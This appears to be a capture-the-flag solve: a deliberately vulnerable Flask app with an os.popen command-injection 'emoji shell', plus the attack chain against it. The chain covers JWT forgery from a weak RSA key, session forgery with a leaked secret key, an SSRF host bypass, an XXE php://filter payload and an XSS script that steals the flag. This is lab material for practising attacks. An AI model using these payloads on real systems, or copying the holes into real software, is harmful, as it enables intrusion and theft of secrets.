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test:"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.Itrnrno7k2sM5JAMDLy8h9o217gOaHcX0HHXOBgX0ht8ZcoSoDGgtXFFl4GSTRwn5dBzy2ATJu0kO0rAckS3K5gJE7I1WpBkq7SGOs6E7mA-qCVCbnf9Xpv7XPTLqdCqtYIpwkBi9Z-YlYhJcLPunMv8r9YPuuS-wlwwnsutxEMK"
test1:	"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QxIn0.DLsur1m0A1k4Y-mfdrS-Ki4HnuZpB94Zw_v3HmVKGYwf3ahc97Vn5ayd-68sgcmEY6RFROfRPgtdwkLRv4fwo3s8b3-XEYR7xUdAT3d4Hv2B8GsyNy2XVKa1HPFPMds6dRJSBbj_1C6JIWzGWXSBmfBZh9mCO_6X5r8JiSiJBnA5"

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import rsa
from pathlib import Path
admin_token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.Itrnrno7k2sM5JAMDLy8h9o217gOaHcX0HHXOBgX0ht8ZcoSoDGgtXFFl4GSTRwn5dBzy2ATJu0kO0rAckS3K5gJE7I1WpBkq7SGOs6E7mA-qCVCbnf9Xpv7XPTLqdCqtYIpwkBi9Z-YlYhJcLPunMv8r9YPuuS-wlwwnsutxEMK'
test_token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QxIn0.DLsur1m0A1k4Y-mfdrS-Ki4HnuZpB94Zw_v3HmVKGYwf3ahc97Vn5ayd-68sgcmEY6RFROfRPgtdwkLRv4fwo3s8b3-XEYR7xUdAT3d4Hv2B8GsyNy2XVKa1HPFPMds6dRJSBbj_1C6JIWzGWXSBmfBZh9mCO_6X5r8JiSiJBnA5'
n = 6587783811255857213423501659427445485733195847244841084416640087322920370505793710077653863560859194967014206895990092487007042261038365083278115634611522557149583345006263576760669731901928303983263803856696693078515488443260501485292429482201628351549976050972015840536205463606752217154446907981710898447627
p = 178048211115023167930364909714255283398194482357968677957206488846565415419075505677774428744888086350459843429621353851000190331379415272521030152286797906949988739054223339912450533294646710918466589293424234948067986174142175715818714310329773739231080433810054482176654201719101411274444511026532726985071
q = 37
# p, q = q, p
e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
Path('public.pem').write_bytes(rsa.PublicKey(n, e).save_pkcs1())
Path('private.pem').write_bytes(rsa.PrivateKey(n, e, d, p, q).save_pkcs1())

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import jwt
test_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.Itrnrno7k2sM5JAMDLy8h9o217gOaHcX0HHXOBgX0ht8ZcoSoDGgtXFFl4GSTRwn5dBzy2ATJu0kO0rAckS3K5gJE7I1WpBkq7SGOs6E7mA-qCVCbnf9Xpv7XPTLqdCqtYIpwkBi9Z-YlYhJcLPunMv8r9YPuuS-wlwwnsutxEMK"
private_key = b"-----BEGIN RSA PRIVATE KEY-----\nMIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD\nojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw\nu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB\nAoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW\nTcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq\nURC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu\nSCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK\nS7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli\nuJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl\nbXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN\nHf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i\n6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR\ntCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc\nqSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ\njqta99E=\n-----END RSA PRIVATE KEY-----"
public_key = b"-----BEGIN RSA PUBLIC KEY-----\nMIGJAoGBJKVQx8LOD/KwbiLGiLo0oa5Y2e8illlNE1rTjl4fbHPNj9nJHAOiNK0w\nfnDEbqc5W80Bj8RPHZc88LonUn/+fMLV8A0w0JhFrjvEhbRHBkENIAFwafC7dA/a\nevsBHT+1mZIKWdx3ADtErOUkzwWztmZvnTZkxK/QDEyA3lQyH0ULAgMBAAE=\n-----END RSA PUBLIC KEY-----"
encoded = jwt.encode({"username": "admin"}, private_key, algorithm="RS256")
print(encoded)

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from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests


app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

with open('/app/flag/private_key.pem', 'r') as f:
    private_key = f.read()

with open('/app/flag/public_key.pem', 'r') as f:
    public_key = f.read()


def game_play(user_input):
    emoji_table = {
        "😀": ":D",
        "😉": ";)",
        "😊": ":)",
        "😋": ":P",
        "😎": "B)",
        "🤔": ":?",  
        "😐": ":|",
        "😥": ":'(",
        "😮": ":o",
        "🤐": ":x",
        "😯": ":o",
        "😪": ":'(",
        "😫": ">:(",
        "😴": "Zzz",
        "😜": ";P",
        "😝": "XP",
        "😒": ":/",
        "🙃": "(:",
        "😲": ":O",
        "☹️": ":(",
        "🙁": ":(",
        "😖": ">:(",
        "😞": ":(",
        "😤": ">:(",
        "😢": ":'(",
        "😦": ":(",
        "😰": ":(",
        "😱": ":O",
        "🤪": ":P",
        "😵": "X(",
        "🥴": ":P",
        "😠": ">:(",
        "😡": ">:(",
        "🤕": ":(",
        "🤢": "X(",
        "🤮": ":P",
        "🤧": ":'(",
        "😇": "O:)",
        "🥳": ":D",
        "🥺": ":'(",
        "🤡": ":o)",
        "🤠": "Y)",
        "🤥": ":L",
        "🐶": "dog",
        "🐱": "cat",  
        "🐭": "mouse",
        "🐰": "rabbit",
        "🦊": "fox",
        "🐷": "pig",
        "🐽": "pig nose",
        "🐸": "frog",
        "🐒": "monkey",
        "🐔": "chicken",
        "🐧": "penguin",
        "🐦": "bird",
        "🚗": "car",
        "🚕": "taxi",
        "🚁": "helicopter",
        "🛶": "canoe",
        "⛵": "sailboat",
        "🚤": "speedboat",
        "🛳️": "passenger ship",
        "⛴️": "ferry",
        "🛥️": "motor boat",
        "🚢": "ship",
        "👶": "baby",
        "💿": "CD",
        "📀": "DVD",
        "📱": "phone",
        "💻": "laptop",
        "⏰": "alarm clock",
        "🕰️": "mantelpiece clock",
        "⌚": "watch",
        "📡": "satellite antenna",
        "🔋": "battery",
        "🔌": "plug",
        "🚩": "flag",
        "⭐": "*",
        "✖️": "×",
        "➗": "÷"
    }
    if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) > 0:
        return user_input.lower()
    command = user_input
    result = 'emoji shell'
    for key in emoji_table:
        if key in command:
            command = command.replace(key, emoji_table[key]).lower()
            result = command
            result = result + os.popen(command + " 2>&1").read()

    return result


class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
    password = PasswordField('Password', validators=[DataRequired()])
    submit = SubmitField('Login')

class UploadForm(FlaskForm):
    avatar = FileField('Choose a file', validators=[DataRequired()])
    submit = SubmitField('Upload')

class GameForm(FlaskForm):
    user_input = TextAreaField('Enter something', validators=[DataRequired()])
    submit = SubmitField('Submit')


def generate_jwt(username):
    header = {'alg': 'RS256'}
    payload = {
        'username': username,
    }
    token = jwt.encode(header, payload, private_key)
    return token

def decode_jwt(token):
    try:
        payload = jwt.decode(token, public_key)
        return payload
    except JoseError as e:
        return None


@app.route('/', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        username = form.username.data
        password = form.password.data
        if username=='admin':
            flash('Invalid username or password', 'danger')
            return render_template('login.html', form=form)
        if username:
            session['role'] = 'guest'
            token = generate_jwt(username)
            response = make_response(redirect(url_for('dashboard')))
            response.set_cookie('token', token.decode())
            flash('Login successful!', 'success')
            return response
        else:
            flash('Invalid username or password', 'danger')
    return render_template('login.html', form=form)

@app.route('/dashboard')
def dashboard():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    return render_template('dashboard.html')

@app.route('/profile')
def profile():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    user_info = {}
    user_info.update({
        'username': payload['username'],
        'role': session['role'],
    })
    return render_template('profile.html', user_info=user_info)

@app.route('/game', methods=['GET', 'POST'])
def game():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('game.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('game.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('game.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        user_input = form.user_input.data
        user_input = game_play(user_input)
    return render_template('game.html', form=form, user_input=user_input)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page.Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page.Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    
    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)


@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)


@app.route('/logout')
def logout():
    session.clear()
    response = make_response(redirect(url_for('login')))
    response.delete_cookie('token')
    flash('You have been logged out', 'info')
    return response

if __name__ == '__main__':
    app.run()

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from flask import Flask, session

app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

@app.route('/login')
def login():
    # 设置用户角色为 admin
    session['role'] = 'admin'
    return 'Logged in as admin'

@app.route('/session')
def show_session():
    # 显示当前会话信息
    return f"Current session role: {session.get('role', 'Not logged in')}"

if __name__ == '__main__':
    app.run(debug=True)

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csrf_token=IjliOWJjYmFiOTYwNWM4NGY4MjFjYzc1OWQ3Njg2OGZlMTMyNjkzNGYi.ZyCzUA.G0Mp5_49tYfctHqZH2Keox5bYy4&path=www.testctf.com@localhost/index.php&user_input=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F20de556e638eb01cd3e5fdd0a08d4167&submit=Submit

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The value of user_input is:
                  /var/www/html/uploads/20de556e638eb01cd3e5fdd0a08d4167Failed
                  to load XML file.

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<?xml version="1.0" ?>
<!DOCTYPE x[
	<!ENTITY k1te SYSTEM  "php://filter/convert.base64-encode/resource=flag.php">
]>
<person>
<name>&k1te;</name>
</person>

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cat payload | iconv -f utf-8 -t utf-16be > payload.xml

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The value of user_input is:
                  /var/www/html/uploads/054891ca373134a47a817ed3be4dc1d6name:
                  PD9waHAKJGZsYWc9IndkZmxhZ3thdWZod3BwNnRxMTRhbTdiazIzN3BieXl6dzJuZzQ4d30iOwo=

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<script>fetch('/flag')
        .then(response => response.text())
        .then(data => {
            var flag = data; 
            fetch('/content/2755d0d0eb060eabc05e8196479af6ba', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: new URLSearchParams({ content: flag }) 
            });
        });
</script>